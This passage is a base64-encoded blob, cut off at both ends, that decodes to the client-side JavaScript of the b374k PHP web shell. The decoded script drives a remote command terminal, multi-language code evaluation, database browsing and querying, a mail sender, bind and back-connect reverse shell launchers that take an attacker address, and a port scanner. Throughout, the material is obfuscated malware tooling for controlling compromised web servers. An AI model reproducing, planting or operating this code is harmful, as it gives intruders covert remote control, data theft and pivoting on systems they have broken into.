kuYXR0cignZGF0YS1wYXRoJyk7Cn0KCmZ1bmN0aW9uIG11bHRpbWVkaWEocGF0aCl7Cgl2YXIgYSA9ICQoJ3ZpZGVvJykuZ2V0KDApOwoJc2VuZF9wb3N0KHttdWx0aW1lZGlhOnBhdGh9LCBmdW5jdGlvbihyZXMpewoJCWEuc3JjID0gcmVzOwoJfSk7CgloaWRlX2JveCgpOwp9CgokKCcjdGVybWluYWxJbnB1dCcpLm9uKCdrZXlkb3duJywgZnVuY3Rpb24oZSl7CglpZihlLmtleUNvZGU9PTEzKXsKCQljbWQgPSAkKCcjdGVybWluYWxJbnB1dCcpLnZhbCgpOwoJCXRlcm1pbmFsSGlzdG9yeS5wdXNoKGNtZCk7CgkJdGVybWluYWxIaXN0b3J5UG9zID0gdGVybWluYWxIaXN0b3J5Lmxlbmd0aDsKCQlpZihjbWQ9PSdjbGVhcid8fGNtZD09J2NscycpewoJCQkkKCcjdGVybWluYWxPdXRwdXQnKS5odG1sKCcnKTsKCQl9CgkJZWxzZSBpZigocGF0aCA9IGNtZC5tYXRjaCgvY2QoLiopL2kpKSB8fCAocGF0aCA9IGNtZC5tYXRjaCgvXihbYS16XTopJC9pKSkpewoJCQlwYXRoID0gJC50cmltKHBhdGhbMV0pOwoJCQluYXZpZ2F0ZShwYXRoKTsKCQl9CgkJZWxzZSBpZihjbWQhPScnKXsKCQkJc2VuZF9wb3N0KHsgdGVybWluYWxJbnB1dDogY21kIH0sIGZ1bmN0aW9uKHJlcyl7CgkJCQljd2QgPSBodG1sX3NhZmUoZ2V0X2N3ZCgpKTsKCQkJCXJlcyA9ICc8c3BhbiBjbGFzcz1cJ3N0cm9uZ1wnPicrY3dkKycmZ3Q7PC9zcGFuPicraHRtbF9zYWZlKGNtZCkrICdcbicgKyByZXMrJ1xuJzsKCQkJCSQoJyN0ZXJtaW5hbE91dHB1dCcpLmFwcGVuZChyZXMpOwoJCQkJYm90dG9tID0gJChkb2N1bWVudCkuaGVpZ2h0KCktJCh3aW5kb3cpLmhlaWdodCgpOwoJCQkJJCh3aW5kb3cpLnNjcm9sbFRvcChib3R0b20pOwoJCQl9KTsKCQl9CgkJJCgnI3Rlcm1pbmFsSW5wdXQnKS52YWwoJycpOwoJCXNldFRpbWVvdXQoIiQoJyN0ZXJtaW5hbElucHV0JykuZm9jdXMoKSIsMTAwKTsKCX0KCWVsc2UgaWYoZS5rZXlDb2RlPT0zOCl7CgkJaWYodGVybWluYWxIaXN0b3J5UG9zPjApewoJCQl0ZXJtaW5hbEhpc3RvcnlQb3MtLTsKCQkJJCgnI3Rlcm1pbmFsSW5wdXQnKS52YWwodGVybWluYWxIaXN0b3J5W3Rlcm1pbmFsSGlzdG9yeVBvc10pOwoJCQlpZih0ZXJtaW5hbEhpc3RvcnlQb3M8MCkgdGVybWluYWxIaXN0b3J5UG9zID0gMDsKCQl9Cgl9CgllbHNlIGlmKGUua2V5Q29kZT09NDApewoJCWlmKHRlcm1pbmFsSGlzdG9yeVBvczx0ZXJtaW5hbEhpc3RvcnkubGVuZ3RoLTEpewoJCQl0ZXJtaW5hbEhpc3RvcnlQb3MrKzsKCQkJJCgnI3Rlcm1pbmFsSW5wdXQnKS52YWwodGVybWluYWxIaXN0b3J5W3Rlcm1pbmFsSGlzdG9yeVBvc10pOwoJCQlpZih0ZXJtaW5hbEhpc3RvcnlQb3M+dGVybWluYWxIaXN0b3J5Lmxlbmd0aCkgdGVybWluYWxIaXN0b3J5UG9zID0gdGVybWluYWxIaXN0b3J5Lmxlbmd0aDsKCQl9Cgl9CglmaXhfdGFiY2hhcih0aGlzLCBlKTsKfSk7CgpmdW5jdGlvbiBldmFsX2dvKCl7CglldmFsVHlwZSA9ICQoJyNldmFsVHlwZScpLnZhbCgpOwoJZXZhbElucHV0ID0gJCgnI2V2YWxJbnB1dCcpLnZhbCgpOwoJZXZhbE9wdGlvbnMgPSAkKCcjZXZhbE9wdGlvbnMnKS52YWwoKTsKCWV2YWxBcmd1bWVudHMgPSAkKCcjZXZhbEFyZ3VtZW50cycpLnZhbCgpOwoKCWlmKGV2YWxPcHRpb25zPT0nT3B0aW9ucy9Td2l0Y2hlcycpIGV2YWxPcHRpb25zID0gJyc7CglpZihldmFsQXJndW1lbnRzPT0nQXJndW1lbnRzJykgZXZhbEFyZ3VtZW50cyA9ICcnOwoKCWlmKCQudHJpbShldmFsSW5wdXQpIT0nJyl7CgkJc2VuZF9wb3N0KHsgZXZhbElucHV0OmV2YWxJbnB1dCwgZXZhbFR5cGU6ZXZhbFR5cGUsIGV2YWxPcHRpb25zOmV2YWxPcHRpb25zLCBldmFsQXJndW1lbnRzOmV2YWxBcmd1bWVudHMgfSwKCQkJZnVuY3Rpb24ocmVzKXsKCQkJCWlmKHJlcyE9J2Vycm9yJyl7CgkJCQkJc3BsaXRzID0gcmVzLnNwbGl0KCd7W3xiMzc0a3xdfScpOwoJCQkJCWlmKHNwbGl0cy5sZW5ndGg9PTIpewoJCQkJCQlvdXRwdXQgPSBzcGxpdHNbMF0rIjxocj4iK3NwbGl0c1sxXTsKCQkJCQkJJCgnI2V2YWxPdXRwdXQnKS5odG1sKG91dHB1dCk7CgkJCQkJfQoJCQkJCWVsc2V7CgkJCQkJCSQoJyNldmFsT3V0cHV0JykuaHRtbChyZXMpOwoJCQkJCX0KCQkJCX0KCQkJfQoJCSk7Cgl9Cn0KCmZ1bmN0aW9uIGV2YWxfaW5pdCgpewoJaWYoKGV2YWxTdXBwb3J0ZWQgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnZXZhbFN1cHBvcnRlZCcpKSl7CgkJZXZhbF9iaW5kKCk7CgkJb3V0cHV0KCJldmFsIDogIitldmFsU3VwcG9ydGVkKTsKCQlldmFsUmVhZHkgPSB0cnVlOwoJfQoJZWxzZXsKCQlzZW5kX3Bvc3Qoe2V2YWxHZXRTdXBwb3J0ZWQ6ImV2YWxHZXRTdXBwb3J0ZWQifSwgZnVuY3Rpb24ocmVzKXsKCQkJZXZhbFJlYWR5ID0gdHJ1ZTsKCQkJaWYocmVzIT0iZXJyb3IiKXsKCQkJCWxvY2FsU3RvcmFnZS5zZXRJdGVtKCdldmFsU3VwcG9ydGVkJywgcmVzKTsKCQkJCWV2YWxTdXBwb3J0ZWQgPSByZXM7CgkJCQlldmFsX2JpbmQoKTsKCQkJCW91dHB1dCgiZXZhbCA6ICIrZXZhbFN1cHBvcnRlZCk7CgkJCX0KCQl9KTsKCX0KfQoKZnVuY3Rpb24gZXZhbF9iaW5kKCl7CglpZigoZXZhbFN1cHBvcnRlZCE9bnVsbCkmJihldmFsU3VwcG9ydGVkIT0nJykpewoJCXNwbGl0cyA9IGV2YWxTdXBwb3J0ZWQuc3BsaXQoIiwiKTsKCQkkLmVhY2goc3BsaXRzLCBmdW5jdGlvbihpLCBrKXsKCQkJJCgnI2V2YWxUeXBlJykuYXBwZW5kKCI8b3B0aW9uPiIraysiPC9vcHRpb24+Iik7CgkJfSk7Cgl9CgkkKCcjZXZhbFR5cGUnKS5vbignY2hhbmdlJywgZnVuY3Rpb24oZSl7CgkJaWYoJCgnI2V2YWxUeXBlJykudmFsKCk9PSdwaHAnKXsKCQkJJCgnI2V2YWxBZGRpdGlvbmFsJykuaGlkZSgpOwoJCX0KCQllbHNlewoJCQkkKCcjZXZhbEFkZGl0aW9uYWwnKS5zaG93KCk7CgkJfQoJfSk7CgkkKCcjZXZhbE9wdGlvbnMnKS5vbignZm9jdXMnLCBmdW5jdGlvbihlKXsKCQlvcHRpb25zID0gJCgnI2V2YWxPcHRpb25zJyk7CgkJaWYob3B0aW9ucy52YWwoKT09J09wdGlvbnMvU3dpdGNoZXMnKSBvcHRpb25zLnZhbCgnJyk7Cgl9KTsKCSQoJyNldmFsT3B0aW9ucycpLm9uKCdibHVyJywgZnVuY3Rpb24oZSl7CgkJb3B0aW9ucyA9ICQoJyNldmFsT3B0aW9ucycpOwoJCWlmKCQudHJpbShvcHRpb25zLnZhbCgpKT09JycpIG9wdGlvbnMudmFsKCdPcHRpb25zL1N3aXRjaGVzJyk7Cgl9KTsKCSQoJyNldmFsQXJndW1lbnRzJykub24oJ2ZvY3VzJywgZnVuY3Rpb24oZSl7CgkJYXJncyA9ICQoJyNldmFsQXJndW1lbnRzJyk7CgkJaWYoYXJncy52YWwoKT09J0FyZ3VtZW50cycpIGFyZ3MudmFsKCcnKTsKCX0pOwoJJCgnI2V2YWxBcmd1bWVudHMnKS5vbignYmx1cicsIGZ1bmN0aW9uKGUpewoJCWFyZ3MgPSAkKCcjZXZhbEFyZ3VtZW50cycpOwoJCWlmKCQudHJpbShhcmdzLnZhbCgpKT09JycpIGFyZ3MudmFsKCdBcmd1bWVudHMnKTsKCX0pOwoKCSQoJyNldmFsSW5wdXQnKS5vbigna2V5ZG93bicsIGZ1bmN0aW9uKGUpewoJCWlmKGUuY3RybEtleSAmJiAoZS5rZXlDb2RlID09IDEwIHx8IGUua2V5Q29kZSA9PSAxMykpewoJCQlldmFsX2dvKCk7CgkJfQoJCWZpeF90YWJjaGFyKHRoaXMsIGUpOwoJfSk7Cn0KWmVwdG8oZnVuY3Rpb24oJCl7CgkkKCcjZGVjb2RlU3RyJykub24oJ2tleWRvd24nLCBmdW5jdGlvbihlKXsKCQlpZihlLmN0cmxLZXkgJiYgKGUua2V5Q29kZSA9PSAxMCB8fCBlLmtleUNvZGUgPT0gMTMpKXsKCQkJZGVjb2RlX2dvKCk7CgkJfQoJCWZpeF90YWJjaGFyKHRoaXMsIGUpOwoJfSk7Cn0pOwoKZnVuY3Rpb24gZGVjb2RlX2dvKCl7CglkZWNvZGVTdHIgPSAkKCcjZGVjb2RlU3RyJykudmFsKCk7CglzZW5kX3Bvc3Qoe2RlY29kZVN0cjpkZWNvZGVTdHJ9LCBmdW5jdGlvbihyZXMpewoJCWlmKHJlcyE9J2Vycm9yJyl7CgkJCSQoJyNkZWNvZGVSZXN1bHQnKS5odG1sKCcnKTsKCQkJJCgnI2RlY29kZVJlc3VsdCcpLmh0bWwocmVzKTsKCQl9Cgl9KTsKfQoKClplcHRvKGZ1bmN0aW9uKCQpewoJZGJfaW5pdCgpOwoKfSk7Cgp2YXIgZGJTdXBwb3J0ZWQgPSAiIjsKdmFyIGRiUGFnZUxpbWl0ID0gNTA7CgpmdW5jdGlvbiBkYl9pbml0KCl7CglpZigoZGJTdXBwb3J0ZWQgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnZGJfc3VwcG9ydGVkJykpKXsKCQlkYl9iaW5kKCk7CgkJb3V0cHV0KCJkYiA6ICIrZGJTdXBwb3J0ZWQpOwoJCWRiX2FkZF9zdXBwb3J0ZWQoKTsKCX0KCWVsc2V7CgkJc2VuZF9wb3N0KHtkYkdldFN1cHBvcnRlZDoiIn0sIGZ1bmN0aW9uKHJlcyl7CgkJCWlmKHJlcyE9ImVycm9yIil7CgkJCQlsb2NhbFN0b3JhZ2Uuc2V0SXRlbSgnZGJTdXBwb3J0ZWQnLCByZXMpOwoJCQkJZGJTdXBwb3J0ZWQgPSByZXM7CgkJCQlkYl9iaW5kKCk7CgkJCQlvdXRwdXQoImRiIDogIitkYlN1cHBvcnRlZCk7CgkJCQlkYl9hZGRfc3VwcG9ydGVkKCk7CgkJCX0KCQl9KTsKCX0KfQoKZnVuY3Rpb24gZGJfYWRkX3N1cHBvcnRlZCgpewoJc3BsaXRzID0gZGJTdXBwb3J0ZWQuc3BsaXQoIiwiKTsKCSQuZWFjaChzcGxpdHMsIGZ1bmN0aW9uKGksIGspewoJCSQoJyNkYlR5cGUnKS5hcHBlbmQoIjxvcHRpb24+IitrKyI8L29wdGlvbj4iKTsKCX0pOwp9CgpmdW5jdGlvbiBkYl9iaW5kKCl7CgkkKCcjZGJUeXBlJykub24oJ2NoYW5nZScsIGZ1bmN0aW9uKGUpewoJCXR5cGUgPSAkKCcjZGJUeXBlJykudmFsKCk7CgkJaWYoKHR5cGU9PSdvZGJjJyl8fCh0eXBlPT0ncGRvJykpewoJCQkkKCcuZGJIb3N0TGJsJykuaHRtbCgnRFNOIC8gQ29ubmVjdGlvbiBTdHJpbmcnKTsKCQkJJCgnLmRiVXNlclJvdycpLnNob3coKTsKCQkJJCgnLmRiUGFzc1JvdycpLnNob3coKTsKCQkJJCgnLmRiUG9ydFJvdycpLmhpZGUoKTsKCgkJfQoJCWVsc2UgaWYoKHR5cGU9PSdzcWxpdGUnKXx8KHR5cGU9PSdzcWxpdGUzJykpewoJCQkkKCcuZGJIb3N0TGJsJykuaHRtbCgnREIgRmlsZScpOwoJCQkkKCcuZGJVc2VyUm93JykuaGlkZSgpOwoJCQkkKCcuZGJQYXNzUm93JykuaGlkZSgpOwoJCQkkKCcuZGJQb3J0Um93JykuaGlkZSgpOwoKCQl9CgkJZWxzZXsKCQkJJCgnLmRiSG9zdExibCcpLmh0bWwoJ0hvc3QnKTsKCQkJJCgnLmRiVXNlclJvdycpLnNob3coKTsKCQkJJCgnLmRiUGFzc1JvdycpLnNob3coKTsKCQkJJCgnLmRiUG9ydFJvdycpLnNob3coKTsKCQl9Cgl9KTsKCgkkKCcjZGJRdWVyeScpLm9uKCdmb2N1cycsIGZ1bmN0aW9uKGUpewoJCWlmKCQoJyNkYlF1ZXJ5JykudmFsKCk9PSdZb3UgY2FuIGFsc28gcHJlc3MgY3RybCtlbnRlciB0byBzdWJtaXQnKXsKCQkJJCgnI2RiUXVlcnknKS52YWwoJycpOwoJCX0KCX0pOwoJJCgnI2RiUXVlcnknKS5vbignYmx1cicsIGZ1bmN0aW9uKGUpewoJCWlmKCQoJyNkYlF1ZXJ5JykudmFsKCk9PScnKXsKCQkJJCgnI2RiUXVlcnknKS52YWwoJ1lvdSBjYW4gYWxzbyBwcmVzcyBjdHJsK2VudGVyIHRvIHN1Ym1pdCcpOwoJCX0KCX0pOwoJJCgnI2RiUXVlcnknKS5vbigna2V5ZG93bicsIGZ1bmN0aW9uKGUpewoJCWlmKGUuY3RybEtleSAmJiAoZS5rZXlDb2RlID09IDEwIHx8IGUua2V5Q29kZSA9PSAxMykpewoJCQlkYl9ydW4oKTsKCQl9Cgl9KTsKfQoKZnVuY3Rpb24gZGJfbmF2X2JpbmQoKXsKCWRiVHlwZSA9ICQoJyNkYlR5cGUnKS52YWwoKTsKCSQoJy5ib3hOYXYnKS5vZmYoJ2NsaWNrJyk7CgkkKCcuYm94TmF2Jykub24oJ2NsaWNrJywgZnVuY3Rpb24oKXsKCQkkKHRoaXMpLm5leHQoKS50b2dnbGUoKTsKCX0pOwoKCSQoJy5kYlRhYmxlJykub2ZmKCdjbGljaycpOwoJJCgnLmRiVGFibGUnKS5vbignY2xpY2snLCBmdW5jdGlvbigpewoJCXR5cGUgPSAkKCcjZGJUeXBlJykudmFsKCk7CgkJdGFibGUgPSAkKHRoaXMpLmh0bWwoKTsKCQlkYiA9ICQodGhpcykucGFyZW50KCkucGFyZW50KCkucGFyZW50KCkucHJldigpLmh0bWwoKTsKCQlkYl9xdWVyeV90YmwodHlwZSwgZGIsIHRhYmxlLCAwLCBkYlBhZ2VMaW1pdCk7Cgl9KTsKfQoKZnVuY3Rpb24gZGJfY29ubmVjdCgpewoJZGJUeXBlID0gJCgnI2RiVHlwZScpLnZhbCgpOwoJZGJIb3N0ID0gJCgnI2RiSG9zdCcpLnZhbCgpOwoJZGJVc2VyID0gJCgnI2RiVXNlcicpLnZhbCgpOwoJZGJQYXNzID0gJCgnI2RiUGFzcycpLnZhbCgpOwoJZGJQb3J0ID0gJCgnI2RiUG9ydCcpLnZhbCgpOwoJc2VuZF9wb3N0KHtkYlR5cGU6ZGJUeXBlLCBkYkhvc3Q6ZGJIb3N0LCBkYlVzZXI6ZGJVc2VyLCBkYlBhc3M6ZGJQYXNzLCBkYlBvcnQ6ZGJQb3J0fSwgZnVuY3Rpb24ocmVzKXsKCQlpZihyZXMhPSdlcnJvcicpewoJCQkkKCcjZGJOYXYnKS5odG1sKHJlcyk7CgkJCSQoJy5kYkhvc3RSb3cnKS5oaWRlKCk7CgkJCSQoJy5kYlVzZXJSb3cnKS5oaWRlKCk7CgkJCSQoJy5kYlBhc3NSb3cnKS5oaWRlKCk7CgkJCSQoJy5kYlBvcnRSb3cnKS5oaWRlKCk7CgkJCSQoJy5kYkNvbm5lY3RSb3cnKS5oaWRlKCk7CgkJCSQoJy5kYlF1ZXJ5Um93Jykuc2hvdygpOwoJCQkkKCcjZGJCb3R0b20nKS5zaG93KCk7CgkJCWRiX25hdl9iaW5kKCk7CgkJfQoJCWVsc2UgJCgnLmRiRXJyb3InKS5odG1sKCdVbmFibGUgdG8gY29ubmVjdCcpOwoJfSk7Cn0KCmZ1bmN0aW9uIGRiX2Rpc2Nvbm5lY3QoKXsKCSQoJy5kYkhvc3RSb3cnKS5zaG93KCk7CgkkKCcuZGJVc2VyUm93Jykuc2hvdygpOwoJJCgnLmRiUGFzc1JvdycpLnNob3coKTsKCSQoJy5kYlBvcnRSb3cnKS5zaG93KCk7CgkkKCcuZGJDb25uZWN0Um93Jykuc2hvdygpOwoJJCgnLmRiUXVlcnlSb3cnKS5oaWRlKCk7CgkkKCcjZGJOYXYnKS5odG1sKCcnKTsKCSQoJyNkYlJlc3VsdCcpLmh0bWwoJycpOwoJJCgnI2RiQm90dG9tJykuaGlkZSgpOwp9CgpmdW5jdGlvbiBkYl9ydW4oKXsKCWRiVHlwZSA9ICQoJyNkYlR5cGUnKS52YWwoKTsKCWRiSG9zdCA9ICQoJyNkYkhvc3QnKS52YWwoKTsKCWRiVXNlciA9ICQoJyNkYlVzZXInKS52YWwoKTsKCWRiUGFzcyA9ICQoJyNkYlBhc3MnKS52YWwoKTsKCWRiUG9ydCA9ICQoJyNkYlBvcnQnKS52YWwoKTsKCWRiUXVlcnkgPSAkKCcjZGJRdWVyeScpLnZhbCgpOwoKCWlmKChkYlF1ZXJ5IT0nJykmJihkYlF1ZXJ5IT0nWW91IGNhbiBhbHNvIHByZXNzIGN0cmwrZW50ZXIgdG8gc3VibWl0JykpewoJCXNlbmRfcG9zdCh7ZGJUeXBlOmRiVHlwZSwgZGJIb3N0OmRiSG9zdCwgZGJVc2VyOmRiVXNlciwgZGJQYXNzOmRiUGFzcywgZGJQb3J0OmRiUG9ydCwgZGJRdWVyeTpkYlF1ZXJ5fSwgZnVuY3Rpb24ocmVzKXsKCQkJaWYocmVzIT0nZXJyb3InKXsKCQkJCSQoJyNkYlJlc3VsdCcpLmh0bWwocmVzKTsKCQkJCSQoJy50YmxSZXN1bHQnKS5lYWNoKGZ1bmN0aW9uKCl7CgkJCQkJc29ydHRhYmxlLmsodGhpcyk7CgkJCQl9KTsKCQkJfQoJCX0pOwoJfQp9CgpmdW5jdGlvbiBkYl9xdWVyeV90YmwodHlwZSwgZGIsIHRhYmxlLCBzdGFydCwgbGltaXQpewoJZGJUeXBlID0gJCgnI2RiVHlwZScpLnZhbCgpOwoJZGJIb3N0ID0gJCgnI2RiSG9zdCcpLnZhbCgpOwoJZGJVc2VyID0gJCgnI2RiVXNlcicpLnZhbCgpOwoJZGJQYXNzID0gJCgnI2RiUGFzcycpLnZhbCgpOwoJZGJQb3J0ID0gJCgnI2RiUG9ydCcpLnZhbCgpOwoKCXNlbmRfcG9zdCh7ZGJUeXBlOmRiVHlwZSwgZGJIb3N0OmRiSG9zdCwgZGJVc2VyOmRiVXNlciwgZGJQYXNzOmRiUGFzcywgZGJQb3J0OmRiUG9ydCwgZGJRdWVyeTonJywgZGJEQjpkYiwgZGJUYWJsZTp0YWJsZSwgZGJTdGFydDpzdGFydCwgZGJMaW1pdDpsaW1pdH0sIGZ1bmN0aW9uKHJlcyl7CgkJaWYocmVzIT0nZXJyb3InKXsKCQkJJCgnI2RiUmVzdWx0JykuaHRtbChyZXMpOwoJCQkkKCcudGJsUmVzdWx0JykuZWFjaChmdW5jdGlvbigpewoJCQkJc29ydHRhYmxlLmsodGhpcyk7CgkJCX0pOwoJCX0KCX0pOwp9CgpmdW5jdGlvbiBkYl9wYWdpbmF0aW9uKHR5cGUpewoJZGIgPSAkKCcjZGJEQicpLnZhbCgpOwoJdGFibGUgPSAkKCcjZGJUYWJsZScpLnZhbCgpOwoJc3RhcnQgPSBwYXJzZUludCgkKCcjZGJTdGFydCcpLnZhbCgpKTsKCWxpbWl0ID0gcGFyc2VJbnQoJCgnI2RiTGltaXQnKS52YWwoKSk7CglkYlR5cGUgPSAkKCcjZGJUeXBlJykudmFsKCk7CgoJaWYodHlwZT09J25leHQnKXsKCQlzdGFydCA9IHN0YXJ0K2xpbWl0OwoJfQoJZWxzZSBpZih0eXBlPT0ncHJldicpewoJCXN0YXJ0ID0gc3RhcnQtbGltaXQ7CgkJaWYoc3RhcnQ8MCkgc3RhcnQgPSAwOwoJfQoJZGJfcXVlcnlfdGJsKGRiVHlwZSwgZGIsIHRhYmxlLCBzdGFydCwgbGltaXQpOwp9CgpaZXB0byhmdW5jdGlvbigkKXsKCWluZm9faW5pdCgpOwoKfSk7CgpmdW5jdGlvbiBpbmZvX2luaXQoKXsKCWlmKChpbmZvUmVzdWx0ID0gbG9jYWxTdG9yYWdlLmdldEl0ZW0oJ2luZm9SZXN1bHQnKSkpewoJCSQoJy5pbmZvUmVzdWx0JykuaHRtbChpbmZvUmVzdWx0KTsKCX0KCWVsc2V7CgkJaW5mb19yZWZyZXNoKCk7Cgl9Cn0KCmZ1bmN0aW9uIGluZm9fdG9nZ2xlKGlkKXsKCSQoJyMnK2lkKS50b2dnbGUoKTsKfQoKZnVuY3Rpb24gaW5mb19yZWZyZXNoKCl7CglzZW5kX3Bvc3Qoe2luZm9SZWZyZXNoOidpbmZvUmVmcmVzaCd9LCBmdW5jdGlvbihyZXMpewoJCSQoJy5pbmZvUmVzdWx0JykuaHRtbChyZXMpOwoJCWxvY2FsU3RvcmFnZS5zZXRJdGVtKCdpbmZvUmVzdWx0JywgcmVzKTsKCX0pOwp9CgpaZXB0byhmdW5jdGlvbigkKXsKCn0pOwoKZnVuY3Rpb24gbWFpbF9zZW5kKCl7CgltYWlsRnJvbSA9ICQudHJpbSgkKCcjbWFpbEZyb20nKS52YWwoKSk7CgltYWlsVG8gPSAkLnRyaW0oJCgnI21haWxUbycpLnZhbCgpKTsKCW1haWxTdWJqZWN0ID0gJC50cmltKCQoJyNtYWlsU3ViamVjdCcpLnZhbCgpKTsKCW1haWxDb250ZW50ID0gJCgnI21haWxDb250ZW50JykudmFsKCk7CgltYWlsQXR0YWNobWVudCA9ICcnOwoJaWYoJCgnLm1haWxBdHRhY2htZW50JykpewoJCW1haWxBdHRhY2htZW50ID0gJCgnLm1haWxBdHRhY2htZW50JykubWFwKGZ1bmN0aW9uKCl7IHJldHVybiB0aGlzLnZhbHVlOyB9KS5nZXQoKS5qb2luKCd7W3xiMzc0a3xdfScpOwoJfQoKCXNlbmRfcG9zdCh7bWFpbEZyb206bWFpbEZyb20sIG1haWxUbzptYWlsVG8sIG1haWxTdWJqZWN0Om1haWxTdWJqZWN0LCBtYWlsQ29udGVudDptYWlsQ29udGVudCwgbWFpbEF0dGFjaG1lbnQ6bWFpbEF0dGFjaG1lbnR9LCBmdW5jdGlvbihyZXMpewoJCSQoJyNtYWlsUmVzdWx0JykuaHRtbChyZXMpOwoJfSk7Cn0KCmZ1bmN0aW9uIG1haWxfYXR0YWNoKCl7Cgljb250ZW50ID0gIjx0cj48dGQ+TG9jYWwgZmlsZSA8YSBvbmNsaWNrPVwiJCh0aGlzKS5wYXJlbnQoKS5wYXJlbnQoKS5yZW1vdmUoKTtcIj4oLSk8L2E+PC90ZD48dGQgY29sc3Bhbj0nMic+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSdtYWlsQXR0YWNobWVudCcgdmFsdWU9Jyc+PC90ZD48L3RyPiI7CgkkKCcjbWFpbFRCb2R5JykuYXBwZW5kKGNvbnRlbnQpOwp9CgpaZXB0byhmdW5jdGlvbigkKXsKCXJzX2luaXQoKTsKCn0pOwoKZnVuY3Rpb24gcnNfaW5pdCgpewoJaWYoZXZhbFJlYWR5JiYoZXZhbFN1cHBvcnRlZCE9bnVsbCkmJihldmFsU3VwcG9ydGVkIT0nJykpewoJCXNwbGl0cyA9IGV2YWxTdXBwb3J0ZWQuc3BsaXQoIiwiKTsKCQkkLmVhY2goc3BsaXRzLCBmdW5jdGlvbihpLCBrKXsKCQkJJCgnLnJzVHlwZScpLmFwcGVuZCgiPG9wdGlvbj4iK2srIjwvb3B0aW9uPiIpOwoJCX0pOwoJfQoJZWxzZSBzZXRUaW1lb3V0KCdyc19pbml0KCknLCAxMDAwKTsKCgkkKCcjcGFja2V0Q29udGVudCcpLm9uKCdrZXlkb3duJywgZnVuY3Rpb24oZSl7CgkJaWYoZS5jdHJsS2V5ICYmIChlLmtleUNvZGUgPT0gMTAgfHwgZS5rZXlDb2RlID09IDEzKSl7CgkJCXBhY2tldF9nbygpOwoJCX0KCQlmaXhfdGFiY2hhcih0aGlzLCBlKTsKCX0pOwp9CgpmdW5jdGlvbiByc19nb19iaW5kKCl7Cglyc19nbygnYmluZCcpOwp9CmZ1bmN0aW9uIHJzX2dvX2JhY2soKXsKCXJzX2dvKCdiYWNrJyk7Cn0KCmZ1bmN0aW9uIHJzX2dvKHJzVHlwZSl7Cglyc0FyZ3MgPSAiIjsKCWlmKHJzVHlwZT09J2JpbmQnKXsKCQlyc1BvcnQgPSBwYXJzZUludCgkKCcjYmluZFBvcnQnKS52YWwoKSk7CgkJcnNMYW5nID0gJCgnI2JpbmRMYW5nJykudmFsKCk7CgkJcnNBcmdzID0gcnNQb3J0OwoJCXJzUmVzdWx0ID0gJCgnI2JpbmRSZXN1bHQnKTsKCX0KCWVsc2UgaWYocnNUeXBlPT0nYmFjaycpewoJCXJzQWRkciA9ICQoJyNiYWNrQWRkcicpLnZhbCgpOwoJCXJzUG9ydCA9IHBhcnNlSW50KCQoJyNiYWNrUG9ydCcpLnZhbCgpKTsKCQlyc0xhbmcgPSAkKCcjYmFja0xhbmcnKS52YWwoKTsKCQlyc0FyZ3MgPSByc1BvcnQgKyAnICcgKyByc0FkZHI7CgkJcnNSZXN1bHQgPSAkKCcjYmFja1Jlc3VsdCcpOwoJfQoKCWlmKChpc05hTihyc1BvcnQpKXx8KHJzUG9ydDw9MCl8fChyc1BvcnQ+NjU1MzUpKXsKCQlyc1Jlc3VsdC5odG1sKCdJbnZhbGlkIHBvcnQnKTsKCQlyZXR1cm47Cgl9CgoJaWYocnNBcmdzIT0nJyl7CgkJc2VuZF9wb3N0KHsgcnNMYW5nOnJzTGFuZywgcnNBcmdzOnJzQXJncyB9LAoJCQlmdW5jdGlvbihyZXMpewoJCQkJaWYocmVzIT0nZXJyb3InKXsKCQkJCQlzcGxpdHMgPSByZXMuc3BsaXQoJ3tbfGIzNzRrfF19Jyk7CgkJCQkJaWYoc3BsaXRzLmxlbmd0aD09Mil7CgkJCQkJCW91dHB1dCA9IHNwbGl0c1swXSsiPGhyPiIrc3BsaXRzWzFdOwoJCQkJCQlyc1Jlc3VsdC5odG1sKG91dHB1dCk7CgkJCQkJfQoJCQkJCWVsc2V7CgkJCQkJCXJzUmVzdWx0Lmh0bWwocmVzKTsKCQkJCQl9CgkJCQl9CgkJCX0KCQkpOwoJfQp9CgpmdW5jdGlvbiBwYWNrZXRfZ28oKXsKCXBhY2tldEhvc3QgPSAkKCcjcGFja2V0SG9zdCcpLnZhbCgpOwoJcGFja2V0U3RhcnRQb3J0ID0gcGFyc2VJbnQoJCgnI3BhY2tldFN0YXJ0UG9ydCcpLnZhbCgpKTsKCXBhY2tldEVuZFBvcnQgPSBwYXJzZUludCgkKCcjcGFja2V0RW5kUG9ydCcpLnZhbCgpKTsKCXBhY2tldFRpbWVvdXQgPSBwYXJzZUludCgkKCcjcGFja2V0VGltZW91dCcpLnZhbCgpKTsKCXBhY2tldFNUaW1lb3V0ID0gcGFyc2VJbnQoJCgnI3BhY2tldFNUaW1lb3V0JykudmFsKCkpOwoJcGFja2V0Q29udGVudCA9ICQoJyNwYWNrZXRDb250ZW50JykudmFsKCk7CglwYWNrZXRSZXN1bHQgPSAkKCcjcGFja2V0UmVzdWx0Jyk7CglwYWNrZXRTdGF0dXMgPSAkKCcjcGFja2V0U3RhdHVzJyk7CgoJaWYoKGlzTmFOKHBhY2tldFN0YXJ0UG9ydCkpfHwocGFja2V0U3RhcnRQb3J0PD0wKXx8KHBhY2tldFN0YXJ0UG9ydD42NTUzNSkpewoJCXBhY2tldFJlc3VsdC5odG1sKCdJbnZhbGlkIHN0YXJ0IHBvcnQnKTsKCQlyZXR1cm47Cgl9CglpZigoaXNOYU4ocGFja2V0RW5kUG9ydCkpfHwocGFja2V0RW5kUG9ydDw9MCl8fChwYWNrZXRFbmRQb3J0PjY1NTM1KSl7CgkJcGFja2V0UmVzdWx0Lmh0bWwoJ0ludmFsaWQgZW5kIHBvcnQnKTsKCQlyZXR1cm47Cgl9CglpZigoaXNOYU4ocGFja2V0VGltZW91dCkpfHwocGFja2V0VGltZW91dDw9MCkpewoJCXBhY2tldFJlc3VsdC5odG1sKCdJbnZhbGlkIGNvbm5lY3Rpb24gdGltZW91dCcpOwoJCXJldHVybjsKCX0KCWlmKChpc05hTihwYWNrZXRTVGltZW91dCkpfHwocGFja2V0U1RpbWVvdXQ8PTApKXsKCQlwYWNrZXRSZXN1bHQuaHRtbCgnSW52YWxpZCBzdHJlYW0gdGltZW91dCcpOwoJCXJldHVybjsKCX0KCglpZihwYWNrZXRTdGFydFBvcnQ+cGFja2V0RW5kUG9ydCl7CgkJc3RhcnQgPSBwYWNrZXRFbmRQb3J0OwoJCWVuZCA9IHBhY2tldFN0YXJ0UG9ydD